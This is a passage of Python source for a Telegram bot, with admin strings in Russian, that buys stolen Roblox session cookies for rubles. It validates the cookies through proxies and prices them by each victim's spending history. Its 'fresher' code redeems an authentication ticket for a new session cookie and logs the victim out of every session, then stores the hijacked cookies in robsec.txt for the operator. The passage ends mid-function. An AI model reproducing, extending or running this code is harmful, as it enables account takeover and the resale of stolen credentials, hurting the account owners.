await message.answer("The bot is temporarily disabled.")
return True
if not cfg.shop_enabled and message.from_user.id != ADMIN_ID:
await message.answer("Cookie buying is temporarily disabled.")
return True
return False
@router.message(StateFilter(None), F.document)
async def handle_document(message: Message):
if is_admin(message.from_user.id):
await message.answer("Admin accounts cannot sell cookies. Use /admin.")
return
if await _blocked(message):
return
filename = message.document.file_name or ""
if not filename.lower().endswith(".txt"):
await message.answer("Send a .txt file.")
return
path = COOKIE_FILES_DIR / f"{message.from_user.id}_{random.randint(100000, 999999)}.txt"
try:
await message.bot.download(message.document, destination=path)
text = path.read_text(encoding="utf-8", errors="ignore")
finally:
path.unlink(missing_ok=True)
await process_cookies(message, text)
@router.message(StateFilter(None), F.text & ~F.text.startswith("/"))
async def handle_text(message: Message):
if is_admin(message.from_user.id):
await message.answer("Admin accounts cannot sell cookies. Use /admin.")
return
if await _blocked(message):
return
text = message.text or ""
if "_|WARNING:-DO-NOT-SHARE-THIS." not in text:
await message.answer("Use the menu below or send cookie text.", reply_markup=main_menu_kb())
return
await process_cookies(message, text)
async def process_cookies(message: Message, raw_text: str):
cookies, duplicates = parse_cookies_text(raw_text)
if not cookies:
await message.answer("No cookies were found in the submitted data.")
return
cfg = load_config()
proxies = load_proxies()
total = len(cookies)
progress = await message.answer(
f"<b>Processing cookies</b>\nTotal: {total}\nDuplicates removed: {duplicates}\nStage: validation...",
parse_mode="HTML",
)
valid = []
async with aiohttp.ClientSession() as session:
tasks = [check_cookie_with_retry(session, cookie, proxies) for cookie in cookies]
for index, task in enumerate(asyncio.as_completed(tasks), start=1):
try:
result = await task
if result.status == "valid":
valid.append(result)
except Exception:
pass
if index % 20 == 0 or index == total:
try:
await progress.edit_text(
f"<b>Validation</b>\nProgress: {index}/{total}\nValid: {len(valid)}",
parse_mode="HTML",
)
except Exception:
pass
if not valid:
await progress.edit_text(f"No valid cookies found. Duplicates: {duplicates}")
return
await progress.edit_text(f"<b>Checking donations</b>\nValid cookies: {len(valid)}", parse_mode="HTML")
donations = []
async with aiohttp.ClientSession() as session:
async def get_donation(result):
proxy = random.choice(proxies) if proxies else None
all_time = await get_all_time_donate(session, result.cookie, result.user_id, proxy)
year = await get_year_donate(result.cookie, result.user_id, proxy)
return CookieDonationInfo(
cookie=result.cookie,
user_id=result.user_id,
username=result.username,
all_time=all_time,
year=year,
)
donations = await asyncio.gather(*(get_donation(result) for result in valid))
priced, avg_used, avg_price = price_cookie_batch(donations, cfg)
if not priced:
await progress.edit_text(
f"No cookies matched the rates. Valid: {len(valid)}",
reply_markup=back_kb(),
)
return
await progress.edit_text(
f"<b>Refreshing cookies</b>\nPayable: {len(priced)}\nMethod: {'AVG' if avg_used else 'per-rate'}",
parse_mode="HTML",
)
fresh_ok = []
fresh_failed = 0
for offset in range(0, len(priced), FRESHER_BATCH_SIZE):
batch = priced[offset:offset + FRESHER_BATCH_SIZE]
async def refresh(item):
proxy = random.choice(proxies) if proxies else None
ok, refreshed = await fresh_cookie_async(item.cookie, proxy)
return item, ok, refreshed
for item, ok, refreshed in await asyncio.gather(*(refresh(item) for item in batch)):
if ok and isinstance(refreshed, str) and refreshed.startswith("_|WARNING"):
fresh_ok.append((item, refreshed))
else:
fresh_failed += 1
try:
await progress.edit_text(
f"<b>Refreshing cookies</b>\nProgress: {min(offset + len(batch), len(priced))}/{len(priced)}\n"
f"Refreshed: {len(fresh_ok)}\nFailed: {fresh_failed}",
parse_mode="HTML",
)
except Exception:
pass
if not fresh_ok:
await progress.edit_text(
f"No cookies could be refreshed. Valid: {len(valid)}, failed: {fresh_failed}",
reply_markup=back_kb(),
)
return
ROBSEC_FILE.parent.mkdir(parents=True, exist_ok=True)
with ROBSEC_FILE.open("a", encoding="utf-8") as output:
output.writelines(f"{cookie}\n" for _, cookie in fresh_ok)
user_file = COOKIE_FILES_DIR / f"robsec_{message.from_user.id}_{random.randint(100000, 999999)}.txt"
user_file.write_text("".join(f"{cookie}\n" for _, cookie in fresh_ok), encoding="utf-8")
payout = sum(item.price for item, _ in fresh_ok)
profile = get(message.from_user.id)
if profile is None:
register(message.from_user.id, message.from_user.username)
profile = get(message.from_user.id)
profile.balance += payout
profile.total_earned += payout
profile.cookies_loaded += len(fresh_ok)
save(profile.user_id, profile)
stats = load_stats()
stats.total_cookies += len(fresh_ok)
stats.total_paid_direct += payout
save_stats(stats)
bot = get_bot() or message.bot
await apply_referral_payout(bot, profile.user_id, profile.username, payout, cfg.referral_percent)
method = "AVG" if avg_used else "per-rate"
report = (
"<b>Processing complete</b>\n\n"
f"Total: {total}\nDuplicates: {duplicates}\nValid: {len(valid)}\n"
f"Payable: {len(priced)}\nRefreshed: {len(fresh_ok)}\nFailed refresh: {fresh_failed}\n"
f"Method: {method}\n"
)
if avg_used:
report += f"AVG price: {avg_price:.2f} RUB\n"
report += f"\nPayout: <b>{payout:.2f} RUB</b>\nBalance: <b>{profile.balance:.2f} RUB</b>"
await progress.edit_text(report, parse_mode="HTML", reply_markup=main_menu_kb())
await log_admin(
bot,
ADMIN_ID,
f"<b>Cookie purchase</b>\n@{profile.username or '-'} (<code>{profile.user_id}</code>)\n"
f"Total: {total}, valid: {len(valid)}, refreshed: {len(fresh_ok)}\nPayout: {payout:.2f} RUB",
get_log_bot(),
)
await log_admin_document(
bot,
ADMIN_ID,
str(user_file),
caption=f"robsec from <code>{profile.user_id}</code>",
log_bot=get_log_bot(),
)
user_file.unlink(missing_ok=True)
+127
View File
@@ -0,0 +1,127 @@
from aiogram import F, Router
from aiogram.fsm.context import FSMContext
from aiogram.types import CallbackQuery
from config import ADMIN_ID, BOT_USERNAME
from db.storage import load_config, load_stats
from db.users import get, register, save
from keyboards.user import back_kb
from runtime import get_bot, get_log_bot
from services.withdrawals import create_crypto_check
from utils.logging import log_admin, safe_edit
router = Router(name="user")
def _get_profile(callback: CallbackQuery):
profile = get(callback.from_user.id)
if profile is None:
register(callback.from_user.id, callback.from_user.username)
profile = get(callback.from_user.id)
return profile
@router.callback_query(F.data == "profile")
async def cb_profile(callback: CallbackQuery, state: FSMContext):
await state.clear()
profile = _get_profile(callback)
cfg = load_config()
text = (
"<b>Your profile</b>\n\n"
f"ID: <code>{profile.user_id}</code>\n"
f"Registered: {profile.registered}\n\n"
f"Cookies loaded: <b>{profile.cookies_loaded}</b>\n"
f"Total earned: <b>{profile.total_earned:.2f} RUB</b>\n"
f"Referral earnings: <b>{profile.referral_earned:.2f} RUB</b>\n"
f"Balance: <b>{profile.balance:.2f} RUB</b>\n\n"
f"Referral link:\nhttps://t.me/{BOT_USERNAME}?start=ref_{profile.user_id}\n\n"
f"Referral payout: {cfg.referral_percent}%\n"
f"Minimum withdrawal: {cfg.min_withdraw:.2f} RUB"
)
await safe_edit(callback, text, reply_markup=back_kb())
await callback.answer()
@router.callback_query(F.data == "stats")
async def cb_stats(callback: CallbackQuery, state: FSMContext):
await state.clear()
stats = load_stats()
text = (
"<b>Global statistics</b>\n\n"
f"Users: <b>{stats.total_users}</b>\n"
f"Cookies: <b>{stats.total_cookies}</b>\n"
f"Direct payouts: <b>{stats.total_paid_direct:.2f} RUB</b>\n"
f"Referral payouts: <b>{stats.total_paid_referral:.2f} RUB</b>"
)
await safe_edit(callback, text, reply_markup=back_kb())
await callback.answer()
@router.callback_query(F.data == "rates")
async def cb_rates(callback: CallbackQuery, state: FSMContext):
await state.clear()
cfg = load_config()
text = "<b>Current rates</b>\n\n"
for rate in cfg.rates.values():
text += f"- {rate.name}: {rate.price:.2f} RUB\n"
text += (
f"\nAVG: {cfg.avg_min_cookies}+ donation cookies, "
f"{cfg.avg_min_price:.2f}-{cfg.avg_max_price:.2f} RUB per cookie."
)
await safe_edit(callback, text, reply_markup=back_kb())
await callback.answer()
@router.callback_query(F.data == "withdraw")
async def cb_withdraw(callback: CallbackQuery, state: FSMContext):
await state.clear()
profile = _get_profile(callback)
cfg = load_config()
if profile.balance < cfg.min_withdraw:
await safe_edit(
callback,
f"Insufficient balance: <b>{profile.balance:.2f} RUB</b>\n"
f"Minimum: <b>{cfg.min_withdraw:.2f} RUB</b>\n"
f"Treasury: <b>{cfg.treasury:.2f} RUB</b>",
reply_markup=back_kb(),
)
await callback.answer()
return
if profile.balance > cfg.treasury:
await safe_edit(
callback,
f"Treasury funds are insufficient: <b>{cfg.treasury:.2f} RUB</b>.",
reply_markup=back_kb(),
)
await callback.answer()
return
await callback.answer("Creating check...")
await safe_edit(callback, "Creating your CryptoBot check...")
amount = profile.balance
check_url = await create_crypto_check(amount)
if not check_url:
await safe_edit(callback, "Could not create the check. Try again later.", reply_markup=back_kb())
return
profile.balance = 0.0
save(profile.user_id, profile)
cfg.treasury = max(0.0, cfg.treasury - amount)
from db.storage import save_config
save_config(cfg)
await safe_edit(
callback,
f"Check created for <b>{amount:.2f} RUB</b>.\n"
f"<a href='{check_url}'>Activate check</a>",
reply_markup=back_kb(),
disable_web_page_preview=True,
)
bot = get_bot() or callback.message.bot
await log_admin(
bot,
ADMIN_ID,
f"<b>Withdrawal</b>\n@{profile.username or '-'} (<code>{profile.user_id}</code>)\n"
f"Amount: {amount:.2f} RUB\nCheck: {check_url}",
get_log_bot(),
)
+33
View File
@@ -0,0 +1,33 @@
from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup
from db.storage import load_config
def admin_menu_kb() -> InlineKeyboardMarkup:
cfg = load_config()
return InlineKeyboardMarkup(
inline_keyboard=[
[InlineKeyboardButton(
text=f"Shop: {'ON' if cfg.shop_enabled else 'OFF'}",
callback_data="admin_toggle_shop",
)],
[InlineKeyboardButton(
text=f"Bot: {'ON' if cfg.bot_enabled else 'OFF'}",
callback_data="admin_toggle_bot",
)],
[InlineKeyboardButton(text="Users", callback_data="admin_users")],
[InlineKeyboardButton(text="Rates", callback_data="admin_rates")],
[InlineKeyboardButton(text="Broadcast", callback_data="admin_broadcast")],
[InlineKeyboardButton(
text=f"Minimum withdrawal: {cfg.min_withdraw:.2f} RUB",
callback_data="admin_min_withdraw",
)],
[InlineKeyboardButton(
text=f"Treasury: {cfg.treasury:.2f} RUB | Top up",
callback_data="admin_treasury",
)],
[InlineKeyboardButton(text="Download robsec.txt", callback_data="admin_robsec_get")],
[InlineKeyboardButton(text="Clear robsec.txt", callback_data="admin_robsec_clear")],
[InlineKeyboardButton(text="Close", callback_data="admin_close")],
]
)
+27
View File
@@ -0,0 +1,27 @@
from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup
from config import SHOP_CHANNEL
def main_menu_kb() -> InlineKeyboardMarkup:
return InlineKeyboardMarkup(
inline_keyboard=[
[
InlineKeyboardButton(text="Profile", callback_data="profile"),
InlineKeyboardButton(text="Statistics", callback_data="stats"),
],
[
InlineKeyboardButton(text="Rates", callback_data="rates"),
InlineKeyboardButton(text="Withdraw", callback_data="withdraw"),
],
[InlineKeyboardButton(text="Channel", url=SHOP_CHANNEL)],
]
)
def back_kb(callback_data: str = "back_main") -> InlineKeyboardMarkup:
return InlineKeyboardMarkup(
inline_keyboard=[
[InlineKeyboardButton(text="Back", callback_data=callback_data)]
]
)
+54
View File
@@ -0,0 +1,54 @@
import asyncio
import logging
from datetime import datetime
from aiogram import Bot, Dispatcher
from aiogram.enums import ParseMode
from aiogram.fsm.storage.memory import MemoryStorage
from aiogram.client.default import DefaultBotProperties
from config import ADMIN_ID, BOT_TOKEN, LOG_BOT_TOKEN, SHOP_NAME
from db.storage import load_config, load_stats
from handlers import admin, start, upload, user
from runtime import set_bots
from utils.logging import log_admin
async def main() -> None:
defaults = DefaultBotProperties(parse_mode=ParseMode.HTML)
bot = Bot(token=BOT_TOKEN, default=defaults)
log_bot = Bot(token=LOG_BOT_TOKEN, default=defaults) if LOG_BOT_TOKEN else None
set_bots(bot, log_bot)
dispatcher = Dispatcher(storage=MemoryStorage())
dispatcher.include_router(start.router)
dispatcher.include_router(user.router)
dispatcher.include_router(admin.router)
dispatcher.include_router(upload.router)
load_config()
load_stats()
await log_admin(
bot,
ADMIN_ID,
f"<b>{SHOP_NAME}</b> started\n{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}",
log_bot,
)
try:
await dispatcher.start_polling(bot)
finally:
if log_bot:
await log_bot.session.close()
await bot.session.close()
if __name__ == "__main__":
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s - %(levelname)s - %(message)s",
handlers=[
logging.FileHandler("bot.log", encoding="utf-8"),
logging.StreamHandler(),
],
)
asyncio.run(main())
+125
View File
@@ -0,0 +1,125 @@
from dataclasses import dataclass, field
from typing import Any
@dataclass(slots=True)
class RateConfig:
name: str
price: float
min: int
max: int
type: str
@classmethod
def from_dict(cls, data: dict[str, Any]) -> "RateConfig":
return cls(
name=data.get("name", ""),
price=float(data.get("price", 0.0)),
min=int(data.get("min", 0)),
max=int(data.get("max", 0)),
type=data.get("type", "lifetime"),
)
def to_dict(self) -> dict[str, Any]:
return {
"name": self.name,
"price": self.price,
"min": self.min,
"max": self.max,
"type": self.type,
}
@dataclass(slots=True)
class BotConfig:
shop_enabled: bool = True
bot_enabled: bool = True
min_withdraw: float = 100.0
treasury: float = 0.0
referral_percent: int = 5
rates: dict[str, RateConfig] = field(default_factory=dict)
avg_min_cookies: int = 100
avg_min_price: float = 2.0
avg_max_price: float = 20.0
@classmethod
def default(cls) -> "BotConfig":
return cls(
shop_enabled=True,
bot_enabled=True,
min_withdraw=100.0,
treasury=0.0,
referral_percent=5,
rates={
"lifetime_low": RateConfig(
name="Lifetime 200-399 R$",
price=0.33,
min=200,
max=399,
type="lifetime",
),
"lifetime_mid": RateConfig(
name="Lifetime 400-4999 R$",
price=3.10,
min=400,
max=4999,
type="lifetime",
),
"lifetime_high": RateConfig(
name="Lifetime 5000+ R$",
price=8.88,
min=5000,
max=10**12,
type="lifetime",
),
"year_mid": RateConfig(
name="Year 1000-4999 R$",
price=8.40,
min=1000,
max=4999,
type="year",
),
"year_high": RateConfig(
name="Year 5000+ R$",
price=11.11,
min=5000,
max=10**12,
type="year",
),
},
avg_min_cookies=100,
avg_min_price=2.0,
avg_max_price=20.0,
)
@classmethod
def from_dict(cls, data: dict[str, Any] | None) -> "BotConfig":
data = data or {}
rates = data.get("rates") or {}
return cls(
shop_enabled=bool(data.get("shop_enabled", True)),
bot_enabled=bool(data.get("bot_enabled", True)),
min_withdraw=float(data.get("min_withdraw", 100.0)),
treasury=float(data.get("treasury", 0.0)),
referral_percent=int(data.get("referral_percent", 5)),
rates={
key: RateConfig.from_dict(value)
for key, value in rates.items()
},
avg_min_cookies=int(data.get("avg_min_cookies", 100)),
avg_min_price=float(data.get("avg_min_price", 2.0)),
avg_max_price=float(data.get("avg_max_price", 20.0)),
)
def to_dict(self) -> dict[str, Any]:
return {
"shop_enabled": self.shop_enabled,
"bot_enabled": self.bot_enabled,
"min_withdraw": self.min_withdraw,
"treasury": self.treasury,
"referral_percent": self.referral_percent,
"rates": {key: value.to_dict() for key, value in self.rates.items()},
"avg_min_cookies": self.avg_min_cookies,
"avg_min_price": self.avg_min_price,
"avg_max_price": self.avg_max_price,
}
+24
View File
@@ -0,0 +1,24 @@
from dataclasses import dataclass
@dataclass(slots=True)
class CookieDonationInfo:
cookie: str
user_id: int
username: str | None
all_time: int
year: int
@dataclass(slots=True)
class PricingResult:
cookie: str
user_id: int
username: str | None
all_time: int
year: int
price: float
rate_key: str | None = None
rate_name: str | None = None
donate_used: int = 0
is_avg: bool = False
+10
View File
@@ -0,0 +1,10 @@
from dataclasses import dataclass
@dataclass(slots=True)
class CookieValidationResult:
status: str
cookie: str | None = None
user_id: int | None = None
username: str | None = None
message: str | None = None
+32
View File
@@ -0,0 +1,32 @@
from dataclasses import dataclass
from typing import Any
@dataclass(slots=True)
class BotStats:
total_users: int = 0
total_cookies: int = 0
total_paid_direct: float = 0.0
total_paid_referral: float = 0.0
@classmethod
def default(cls) -> "BotStats":
return cls()
@classmethod
def from_dict(cls, data: dict[str, Any] | None) -> "BotStats":
data = data or {}
return cls(
total_users=int(data.get("total_users", 0)),
total_cookies=int(data.get("total_cookies", 0)),
total_paid_direct=float(data.get("total_paid_direct", 0.0)),
total_paid_referral=float(data.get("total_paid_referral", 0.0)),
)
def to_dict(self) -> dict[str, Any]:
return {
"total_users": self.total_users,
"total_cookies": self.total_cookies,
"total_paid_direct": self.total_paid_direct,
"total_paid_referral": self.total_paid_referral,
}
+68
View File
@@ -0,0 +1,68 @@
from dataclasses import dataclass, field
from typing import Any
@dataclass(slots=True)
class UserProfile:
user_id: int
username: str | None = None
registered: str = ""
cookies_loaded: int = 0
total_earned: float = 0.0
referral_earned: float = 0.0
balance: float = 0.0
referrer: int | None = None
referrals: list[int] = field(default_factory=list)
is_admin: bool = False
is_banned: bool = False
ban_reason: str = ""
@classmethod
def default(
cls,
user_id: int,
username: str | None = None,
registered: str = "",
referrer: int | None = None,
is_admin: bool = False,
) -> "UserProfile":
return cls(
user_id=user_id,
username=username,
registered=registered,
referrer=referrer,
is_admin=is_admin,
)
@classmethod
def from_dict(cls, data: dict[str, Any]) -> "UserProfile":
return cls(
user_id=int(data.get("user_id", 0)),
username=data.get("username"),
registered=data.get("registered", ""),
cookies_loaded=int(data.get("cookies_loaded", 0)),
total_earned=float(data.get("total_earned", 0.0)),
referral_earned=float(data.get("referral_earned", 0.0)),
balance=float(data.get("balance", 0.0)),
referrer=data.get("referrer"),
referrals=[int(x) for x in data.get("referrals", [])],
is_admin=bool(data.get("is_admin", False)),
is_banned=bool(data.get("is_banned", False)),
ban_reason=data.get("ban_reason", ""),
)
def to_dict(self) -> dict[str, Any]:
return {
"user_id": self.user_id,
"username": self.username,
"registered": self.registered,
"cookies_loaded": self.cookies_loaded,
"total_earned": self.total_earned,
"referral_earned": self.referral_earned,
"balance": self.balance,
"referrer": self.referrer,
"referrals": self.referrals,
"is_admin": self.is_admin,
"is_banned": self.is_banned,
"ban_reason": self.ban_reason,
}
+20
View File
@@ -0,0 +1,20 @@
from __future__ import annotations
from aiogram import Bot
_bot: Bot | None = None
_log_bot: Bot | None = None
def set_bots(bot: Bot, log_bot: Bot | None = None) -> None:
global _bot, _log_bot
_bot = bot
_log_bot = log_bot
def get_bot() -> Bot | None:
return _bot
def get_log_bot() -> Bot | None:
return _log_bot
+197
View File
@@ -0,0 +1,197 @@
from __future__ import annotations
import asyncio
import os
from aiogram.enums import ParseMode
from aiogram.types import FSInputFile, InlineKeyboardButton, InlineKeyboardMarkup
from config import ADMIN_ID, BOT_USERNAME, ROBSEC_FILE
from db.storage import load_config, save_config, load_stats, save_stats
from db.users import all_users, get, save, find_by_username
from keyboards.admin import admin_menu_kb
from models.user import UserProfile
from runtime import get_log_bot
from utils.logging import log_admin, log_admin_document, safe_edit
def is_admin(user_id: int) -> bool:
if user_id == ADMIN_ID:
return True
profile = get(user_id)
return bool(profile and profile.is_admin)
def toggle_shop() -> bool:
cfg = load_config()
cfg.shop_enabled = not cfg.shop_enabled
save_config(cfg)
return cfg.shop_enabled
def toggle_bot() -> bool:
cfg = load_config()
cfg.bot_enabled = not cfg.bot_enabled
save_config(cfg)
return cfg.bot_enabled
def update_rate(key: str, price: float) -> None:
cfg = load_config()
if key in cfg.rates:
cfg.rates[key].price = price
save_config(cfg)
def update_min_withdraw(value: float) -> None:
cfg = load_config()
cfg.min_withdraw = value
save_config(cfg)
def add_treasury(amount_rub: float) -> float:
cfg = load_config()
cfg.treasury += amount_rub
save_config(cfg)
return cfg.treasury
def subtract_treasury(amount_rub: float) -> float:
cfg = load_config()
cfg.treasury = max(0.0, cfg.treasury - amount_rub)
save_config(cfg)
return cfg.treasury
def robsec_info() -> tuple[int, int]:
if not os.path.exists(ROBSEC_FILE):
return 0, 0
size = os.path.getsize(ROBSEC_FILE)
try:
with open(ROBSEC_FILE, "r", encoding="utf-8", errors="ignore") as fh:
lines = sum(1 for _ in fh)
except Exception:
lines = 0
return lines, size
def clear_robsec() -> None:
with open(ROBSEC_FILE, "w", encoding="utf-8") as fh:
fh.write("")
async def send_user_card(target, uid: int) -> None:
profile = get(uid)
if not profile:
return
text = (
f"👤 <b>Пользователь</b>\n\n"
f"🆔 ID: <code>{uid}</code>\n"
f"👤 @{profile.username or ''}\n"
f"📅 Рег: {profile.registered or '?'}\n"
f"💳 Баланс: {profile.balance:.2f}\n"
f"💰 Всего: {profile.total_earned:.2f}\n"
f"🍪 Куки: {profile.cookies_loaded}\n"
f"👥 Рефералов: {len(profile.referrals)}\n"
f"👑 Админ: {'' if profile.is_admin else ''}\n"
f"🚫 Бан: {'' + profile.ban_reason if profile.is_banned else ''}"
)
kb = InlineKeyboardMarkup(
inline_keyboard=[
[
InlineKeyboardButton(text=" Баланс", callback_data=f"u_bal_add_{uid}"),
InlineKeyboardButton(text=" Баланс", callback_data=f"u_bal_sub_{uid}"),
],
[
InlineKeyboardButton(
text="🚫 Разбанить" if profile.is_banned else "🚫 Забанить",
callback_data=f"u_ban_{uid}",
)
],
[
InlineKeyboardButton(
text="👑 Убрать админку" if profile.is_admin else "👑 Выдать админку",
callback_data=f"u_admin_{uid}",
)
],
[InlineKeyboardButton(text="🔙 Назад", callback_data="admin_back")],
]
)
if hasattr(target, "answer"):
await target.answer(text, parse_mode=ParseMode.HTML, reply_markup=kb)
else:
await safe_edit(target, text, reply_markup=kb)
async def broadcast(bot, text: str | None = None, photo_id: str | None = None, caption: str | None = None) -> tuple[int, int]:
ok = 0
fail = 0
for uid in all_users():
try:
if photo_id:
await bot.send_photo(uid, photo_id, caption=caption or "", parse_mode=ParseMode.HTML)
else:
await bot.send_message(uid, text or caption or "-", parse_mode=ParseMode.HTML)
ok += 1
except Exception:
fail += 1
await asyncio.sleep(0.05)
return ok, fail
def find_user(query: str) -> int | None:
if query.isdigit():
uid = int(query)
return uid if get(uid) else None
return find_by_username(query)
def set_balance(uid: int, value: float) -> None:
profile = get(uid)
if not profile:
return
profile.balance = value
save(uid, profile)
def add_balance(uid: int, amount: float) -> None:
profile = get(uid)
if not profile:
return
profile.balance += amount
save(uid, profile)
def sub_balance(uid: int, amount: float) -> None:
profile = get(uid)
if not profile:
return
profile.balance = max(0.0, profile.balance - amount)
save(uid, profile)
def toggle_user_admin(uid: int) -> bool:
profile = get(uid)
if not profile:
return False
profile.is_admin = not profile.is_admin
save(uid, profile)
return profile.is_admin
def ban_user(uid: int, reason: str) -> None:
profile = get(uid)
if not profile:
return
profile.is_banned = True
profile.ban_reason = reason
save(uid, profile)
def unban_user(uid: int) -> None:
profile = get(uid)
if not profile:
return
profile.is_banned = False
profile.ban_reason = ""
save(uid, profile)
+84
View File
@@ -0,0 +1,84 @@
from __future__ import annotations
from models.config import BotConfig, RateConfig
from models.pricing import CookieDonationInfo, PricingResult
def find_rate_for_cookie(all_time: int, year: int, rates: dict[str, RateConfig]):
best = None
best_price = -1.0
for key, rate in rates.items():
donate = year if rate.type == "year" else all_time
if rate.min <= donate <= rate.max and rate.price > best_price:
best_price = rate.price
best = (key, rate, donate)
if best:
return best
return (None, None, 0)
def calc_avg_price(donates: list[int], cfg: BotConfig) -> float:
if not donates:
return 0.0
avg = sum(donates) / len(donates)
price = avg / 1000.0
price = max(cfg.avg_min_price, min(cfg.avg_max_price, price))
return round(price, 2)
def price_cookie_batch(
donates: list[CookieDonationInfo],
cfg: BotConfig,
) -> tuple[list[PricingResult], bool, float]:
priced: list[PricingResult] = []
unpriced: list[CookieDonationInfo] = []
for item in donates:
key, rate, donate_used = find_rate_for_cookie(item.all_time, item.year, cfg.rates)
if rate:
priced.append(
PricingResult(
cookie=item.cookie,
user_id=item.user_id,
username=item.username,
all_time=item.all_time,
year=item.year,
price=rate.price,
rate_key=key,
rate_name=rate.name,
donate_used=donate_used,
)
)
elif item.all_time > 0:
unpriced.append(item)
all_donate_infos = [item for item in donates if item.all_time > 0]
total_donate_cookies = len(all_donate_infos)
avg_used = False
avg_price = 0.0
if total_donate_cookies >= cfg.avg_min_cookies:
avg_price = calc_avg_price([item.all_time for item in all_donate_infos], cfg)
avg_total = avg_price * total_donate_cookies
piece_total = sum(item.price for item in priced)
if avg_total > piece_total:
avg_used = True
payable: list[PricingResult] = []
if avg_used:
for item in all_donate_infos:
payable.append(
PricingResult(
cookie=item.cookie,
user_id=item.user_id,
username=item.username,
all_time=item.all_time,
year=item.year,
price=avg_price,
is_avg=True,
)
)
else:
payable.extend(priced)
return payable, avg_used, avg_price
+38
View File
@@ -0,0 +1,38 @@
from __future__ import annotations
from config import ADMIN_ID
from db.storage import load_stats, save_stats
from db.users import get, save
async def apply_referral_payout(bot, user_id: int, username: str | None, payout: float, referral_percent: int) -> float:
profile = get(user_id)
if not profile or not profile.referrer:
return 0.0
ref_amount = round(payout * referral_percent / 100, 2)
ref_profile = get(profile.referrer)
if not ref_profile:
return 0.0
ref_profile.balance += ref_amount
ref_profile.total_earned += ref_amount
ref_profile.referral_earned += ref_amount
save(profile.referrer, ref_profile)
stats = load_stats()
stats.total_paid_referral += ref_amount
save_stats(stats)
try:
await bot.send_message(
profile.referrer,
f"💸 Реферал @{username or ''} заработал {payout:.2f}\n"
f"Вам начислено: <b>{ref_amount:.2f} ₽</b>",
parse_mode="HTML",
)
except Exception:
pass
return ref_amount
+245
View File
@@ -0,0 +1,245 @@
from __future__ import annotations
import asyncio
import logging
import random
import aiohttp
import requests as plain_requests
from config import CONCURRENT_CHECKS, FRESHER_POOL, MAX_RETRIES, REQUEST_TIMEOUT
from models.responses import CookieValidationResult
try:
from curl_cffi import requests as cffi_requests
HAS_CFFI = True
except ImportError: # pragma: no cover - optional dependency
cffi_requests = None
HAS_CFFI = False
SEMAPHORE = asyncio.Semaphore(CONCURRENT_CHECKS)
def _new_fresher_session():
if HAS_CFFI:
return cffi_requests.Session(impersonate="chrome120")
session = plain_requests.Session()
session.headers["User-Agent"] = (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
)
return session
def _extract_new_cookie(response):
try:
cookie = response.cookies.get(".ROBLOSECURITY")
if cookie:
return cookie
except Exception:
pass
sc = response.headers.get("set-cookie", "") or response.headers.get("Set-Cookie", "")
if ".ROBLOSECURITY=" in sc:
try:
return sc.split(".ROBLOSECURITY=")[1].split(";")[0]
except Exception:
pass
return None
def _sync_fresh_cookie(cookie, proxy=None, timeout=15):
if not cookie or not cookie.startswith("_|WARNING"):
return False, "invalid cookie format"
proxies = {"http": proxy, "https": proxy} if proxy else None
session = _new_fresher_session()
try:
r1 = session.post(
"https://auth.roblox.com/v2/logout",
cookies={".ROBLOSECURITY": cookie},
proxies=proxies,
timeout=timeout,
verify=False,
)
csrf = r1.headers.get("x-csrf-token") or r1.headers.get("X-CSRF-Token")
if not csrf:
return False, "step 1 CSRF fail"
r2 = session.post(
"https://auth.roblox.com/v1/authentication-ticket",
headers={
"rbxauthenticationnegotiation": "1",
"referer": "https://www.roblox.com/camel",
"Content-Type": "application/json",
"x-csrf-token": csrf,
},
cookies={".ROBLOSECURITY": cookie},
proxies=proxies,
timeout=timeout,
verify=False,
)
ticket = r2.headers.get("rbx-authentication-ticket")
if not ticket:
return False, "step 2 ticket fail"
clean_session = _new_fresher_session()
r3 = clean_session.post(
"https://auth.roblox.com/v1/authentication-ticket/redeem",
headers={"rbxauthenticationnegotiation": "1"},
json={"authenticationTicket": ticket},
proxies=proxies,
timeout=timeout,
verify=False,
)
new_cookie = _extract_new_cookie(r3)
if not new_cookie:
return False, "step 3 redeem fail"
if new_cookie == cookie:
return False, "rate-limited"
except Exception as exc:
return False, f"error: {type(exc).__name__}"
try:
session2 = _new_fresher_session()
r_csrf = session2.post(
"https://auth.roblox.com/v2/logout",
cookies={".ROBLOSECURITY": new_cookie},
proxies=proxies,
timeout=timeout,
verify=False,
)
csrf2 = r_csrf.headers.get("x-csrf-token") or r_csrf.headers.get("X-CSRF-Token")
if csrf2:
r_log = session2.post(
"https://auth.roblox.com/v1/logoutfromallsessionsandreauthenticate",
cookies={".ROBLOSECURITY": new_cookie},
headers={"x-csrf-token": csrf2, "Content-Type": "application/json"},
json={},
proxies=proxies,
timeout=timeout,
verify=False,
)
if r_log.status_code in (200, 201, 204):
final_cookie = _extract_new_cookie(r_log) or new_cookie
return True, final_cookie
except Exception:
pass
return True, new_cookie
async def fresh_cookie_async(cookie, proxy=None):
loop = asyncio.get_event_loop()
return await loop.run_in_executor(FRESHER_POOL, _sync_fresh_cookie, cookie, proxy, 15)
async def check_cookie_basic(session, cookie, proxy=None) -> CookieValidationResult:
try:
proxy_url = f"http://{proxy}" if proxy else None
async with session.get(
"https://users.roblox.com/v1/users/authenticated",
cookies={".ROBLOSECURITY": cookie},
timeout=aiohttp.ClientTimeout(total=REQUEST_TIMEOUT),
proxy=proxy_url,
) as response:
if response.status != 200:
return CookieValidationResult(status="invalid")
data = await response.json()
return CookieValidationResult(
status="valid",
cookie=cookie,
user_id=int(data["id"]),
username=data.get("name", "unknown"),
)
except Exception as exc:
return CookieValidationResult(status="error", message=str(exc))
async def check_cookie_with_retry(session, cookie, proxies) -> CookieValidationResult:
retries = 0
used = set()
while retries < MAX_RETRIES:
proxy = None
if proxies:
available = [item for item in proxies if item not in used]
if available:
proxy = random.choice(available)
used.add(proxy)
else:
used.clear()
continue
try:
async with SEMAPHORE:
result = await check_cookie_basic(session, cookie, proxy)
if result.status == "valid":
return result
except Exception:
pass
retries += 1
await asyncio.sleep(1)
return CookieValidationResult(status="invalid")
async def get_all_time_donate(session, cookie, user_id, proxy=None) -> int:
total = 0
cursor = ""
proxy_url = f"http://{proxy}" if proxy else None
while True:
try:
url = f"https://economy.roblox.com/v2/users/{user_id}/transactions"
params = {
"limit": 100,
"transactionType": "Purchase",
"itemPricingType": "All",
